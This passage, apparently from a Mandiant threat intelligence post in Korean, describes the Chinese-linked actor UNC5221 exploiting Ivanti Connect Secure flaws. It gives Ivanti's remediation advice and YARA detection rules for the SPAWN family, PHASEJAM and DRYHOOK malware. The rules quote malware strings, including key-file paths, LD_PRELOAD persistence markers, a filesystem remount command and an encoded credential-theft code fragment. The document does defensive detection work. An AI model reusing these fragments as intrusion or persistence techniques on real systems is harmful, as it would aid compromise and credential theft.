UNC5221은 2023년 12월 초에 Ivanti Connect Secure VPN 및 Ivanti Policy Security 어플라이언스에 영향을 미친 취약점 CVE-2023-46805 및 CVE-2024-21887을 악용한 것으로 의심되는 중국과 관련된 스파이 행위자입니다. CVE-2023-46805(인증 우회) 및 CVE-2024-21887(명령 삽입)을 성공적으로 악용한 후 UNC5221은 ZIPLINE 패시브 백도어, THINSPOOL 드롭퍼, LIGHTWIRE 웹 셸 및 WARPWIRE 자격 증명 수집기를 포함한 여러 사용자 지정 맬웨어 제품군을 활용했습니다. 또한 UNC5221은 PySoxy 터널러와 BusyBox를 활용하여 공격 후 활동을 가능하게 하는 것이 관찰되었습니다. 또한 Mandiant는 이전에 UNC5221이 침입 작전을 가능하게 하기 위해 손상된 Cyberoam 어플라이언스의 ORB network를 활용하는 것을 관찰했습니다.
결론
2024년 1월 10일 CVE-2023-46805 및 CVE-2024-21887이 공개된 후 Mandiant는 광범위한 국가와 산업 분야에서 Ivanti Connect Secure 어플라이언스를 대상으로 UNC5221에 의한 광범위한 악용을 관찰했습니다. Mandiant는 방어자가 자격 증명을 대상으로 하고 향후 액세스를 제공하기 위해 웹 셸을 배포할 가능성이 있는 광범위한 기회주의적 악용에 대비해야 한다고 평가합니다. 또한 CVE-2025-0282에 대한 개념 증명 악용이 생성되어 릴리스되면 Mandiant는 추가 위협 행위자가 Ivanti Connect Secure 어플라이언스를 대상으로 시도할 가능성이 있다고 평가합니다.
권장 사항
Ivanti는 외부 및 내부 무결성 검사 도구("ICT")를 활용하고 의심스러운 활동이 식별되는 경우 Ivanti 지원에 문의할 것을 권장합니다. Mandiant는 위협 행위자가 ICT에 의한 탐지를 회피하려는 시도를 관찰했지만 다음 스크린샷은 성공적인 검사가 표시되는 방식과 손상된 장치에서 실패한 검사가 표시되는 방식의 예를 제공합니다. 출력에서 보고된 단계 수에 유의하십시오.
External ICT Scan - Successful
External ICT Scan - Unsuccessful (limited number of steps performed)
Ivanti는 또한 ICT가 어플라이언스의 현재 상태에 대한 스냅샷이며 위협 행위자가 어플라이언스를 깨끗한 상태로 되돌린 경우 반드시 위협 행위자 활동을 감지할 수 있는 것은 아니라고 언급합니다. ICT는 맬웨어 또는 기타 침해 지표를 검사하지 않습니다. Ivanti는 고객이 공격 후 활동을 감지한 다른 보안 모니터링 도구와 함께 ICT를 실행할 것을 권장합니다.
ICT 결과가 손상 징후를 보이는 경우 Ivanti는 어플라이언스를 초기화하여 맬웨어가 제거되었는지 확인한 다음 버전 22.7R2.5를 사용하여 어플라이언스를 다시 프로덕션 환경에 배치할 것을 권장합니다.
감사 인사
이 조사에 대한 지속적인 파트너십과 지원에 대해 Ivanti 팀에 감사드립니다. 또한 이 분석은 Google 위협 인텔리전스 그룹과 Mandiant의 FLARE 분석가의 도움 없이는 불가능했을 것입니다.
침해 지표(IOC)
이 블로그 게시물에 설명된 활동을 추적하고 식별하는 데 있어 더 넓은 커뮤니티를 지원하기 위해 등록된 사용자를 위한 GTI 컬렉션에 침해 지표(IOC)를 포함했습니다.
YARA 룰
rule M_APT_Installer_SPAWNSNAIL_1
{
meta:
author = "Mandiant"
description = "Detects SPAWNSNAIL. SPAWNSNAIL is an SSH
backdoor targeting Ivanti devices. It has an ability to inject a specified
binary to other process, running local SSH backdoor when injected to
dsmdm process, as well as injecting additional malware to dslogserver"
md5 = "e7d24813535f74187db31d4114f607a1"
strings:
$priv = "PRIVATE KEY-----" ascii fullword
$key1 = "%d/id_ed25519" ascii fullword
$key2 = "%d/id_ecdsa" ascii fullword
$key3 = "%d/id_rsa" ascii fullword
$sl1 = "[selinux] enforce" ascii fullword
$sl2 = "DSVersion::getReleaseStr()" ascii fullword
$ssh1 = "ssh_set_server_callbacks" ascii fullword
$ssh2 = "ssh_handle_key_exchange" ascii fullword
$ssh3 = "ssh_add_set_channel_callbacks" ascii fullword
$ssh4 = "ssh_channel_close" ascii fullword
condition:
uint32(0) == 0x464c457f and $priv and any of ($key*)
and any of ($sl*) and any of ($ssh*)
}
rule M_APT_Installer_SPAWNANT_1
{
meta:
author = "Mandiant"
description = "Detects SPAWNANT. SPAWNANT is an
Installer targeting Ivanti devices. Its purpose is to persistently
install other malware from the SPAWN family (SPAWNSNAIL,
SPAWNMOLE) as well as drop additional webshells on the box."
strings:
$s1 = "dspkginstall" ascii fullword
$s2 = "vsnprintf" ascii fullword
$s3 = "bom_files" ascii fullword
$s4 = "do-install" ascii
$s5 = "ld.so.preload" ascii
$s6 = "LD_PRELOAD" ascii
$s7 = "scanner.py" ascii
condition:
uint32(0) == 0x464c457f and 5 of ($s*)
}
rule M_APT_Tunneler_SPAWNMOLE_1
{
meta:
author = "Mandiant"
description = "Detects a specific comparisons in SPAWNMOLE
tunneler, which allow malware to filter put its own traffic .
SPAWNMOLE is a tunneler written in C and compiled as an ELF32
executable. The sample is capable of hijacking a process on the
compromised system with a specific name and hooking into its
communication capabilities in order to create a proxy server for
tunneling traffic."
md5 = "4f79c70cce4207d0ad57a339a9c7f43c"
strings:
/*
3C 16 cmp al, 16h
74 14 jz short loc_5655C038
0F B6 45 C1 movzx eax, [ebp+var_3F]
3C 03 cmp al, 3
74 0C jz short loc_5655C038
0F B6 45 C5 movzx eax, [ebp+var_3B]
3C 01 cmp al, 1
0F 85 ED 00 00 00 jnz loc_5655C125
*/
$comparison1 = { 3C 16 74 [1] 0F B6 [2] 3C 03 74 [1] 0F B6 [2]
3C 01 0F 85 }
/*
81 7D E8 E2 E3 49 FB cmp [ebp+var_18], 0FB49E3E2h
0F 85 CD 00 00 00 jnz loc_5655C128
81 7D E4 61 83 C3 1B cmp [ebp+var_1C], 1BC38361h
0F 85 C0 00 00 00 jnz loc_5655C128
*/
$comparison2 = { 81 [2] E2 E3 49 FB 0F 85 [4] 81 [2] 61 83 C3
1B 0F 85}
condition:
uint32(0) == 0x464c457f and all of them
}
rule M_Dropper_PHASEJAM_1 {
meta:
author = "Mandiant"
description = "Hunting rule looking for strings identified in the
PHASEJAM dropper"
md5 = "d18e5425ecd9608ecb992606b974e15d"
strings:
$str1 = "AccessAllow()"
$str2 = "/jam/getComponent.cgi"
$str3 = "jam/getComponent.cgi.bak"
$str4 = "sh=$(echo CnN1Y"
$str5 = "up=$(echo CnN1Y"
$str6 = "grep -q 'sub AccessAllow()'"
$str7 = "cp -f /home/bin/remotedebug /home/bin/remotedebug.bak"
$str8 = "chmod 777 /home/bin/remotedebug.bak"
$str9 = "cp -f /home/perl/DSUpgrade.pm /home/perl/DSUpgrade.pm.bak"
$str10 = "pkill cgi-server"
condition:
8 of them and filesize < 20KB
}
rule M_Credtheft_DRYHOOK_1 {
meta:
author = "Mandiant"
description = "Hunting rule looking for strings identified in
the DRYHOOK credential stealer"
md5 = "61bb586dc4e047ab081ef6ca65684e48"
strings:
$str1 = "/home/perl/DSAuth.pm"
$str2 = "replace_content"
$str3 = "replace1_content"
$str4 = "replace2_content"
$str5 = "pkill cgi-server"
$str6 = "setPrompt ="
$str7 = "runSignin = \\*DSAuthc::RealmSignin_runSignin"
$str8 = "/bin/mount -o remount,rw / > /dev/null 2>&1"
$str9 = {64 61 74 61 20 3d 20 72 65 2e 73 75 62 28 62 22
5c 2a 72 75 6e 53 69 67 6e 69 6e 45 42 53 4c 20 3d 2e 2a 3b 22 2c
62 61 73 65 36 34 2e 62 36 34 64 65 63 6f 64 65 28 72 65 70 6c 61
63 65 32 5f 63 6f 6e 74 65 6e 74 2e 65 6e 63 6f 64 65 28 29 29 2e 64
65 63 6f 64 65 28 29 2e 65 6e 63 6f 64 65 28 22 75 6e 69 63 6f 64 65
5f 65 73 63 61 70 65 22 29 2c 64 61 74 61 29}
condition:
8 of them and filesize < 20KB
}